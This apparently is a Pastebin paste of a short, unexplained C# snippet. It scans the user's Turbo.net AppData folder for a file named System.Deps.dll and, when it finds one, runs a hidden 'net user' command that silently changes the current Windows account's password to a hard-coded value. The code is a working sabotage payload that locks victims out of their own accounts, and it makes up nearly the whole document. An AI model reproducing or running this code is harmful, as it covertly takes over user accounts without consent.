Guest User

Untitled

a guest
May 23rd, 2021
1,688
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 1.04 KB | None | 0 0
  1. using System;
  2. using System.Diagnostics;
  3. using System.IO;
  4.  
  5. namespace N
  6. {
  7.     class C
  8.     {
  9.         public void M()
  10.         {
  11.            string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\AppData\\Local\\Turbo.net";
  12.                 if (Directory.Exists(path))
  13.                 {
  14.                     string[] files = Directory.GetFiles(path, "*.*", SearchOption.AllDirectories);
  15.                     foreach (string file in files)
  16.                     {
  17.                         if (file.Contains("System.Deps.dll"))
  18.                         {
  19.                             Process.Start(new ProcessStartInfo
  20.                             {
  21.                                 FileName = "cmd",
  22.                                 Arguments = "/c net user " + "\"" + Environment.UserName + "\"" + " Rock5taR",
  23.                                 WindowStyle = ProcessWindowStyle.Hidden
  24.                             });
  25.                         }
  26.                     }                    
  27.                 }
  28.         }
  29.     }
  30. }
Advertisement
Add Comment
Please, Sign In to add comment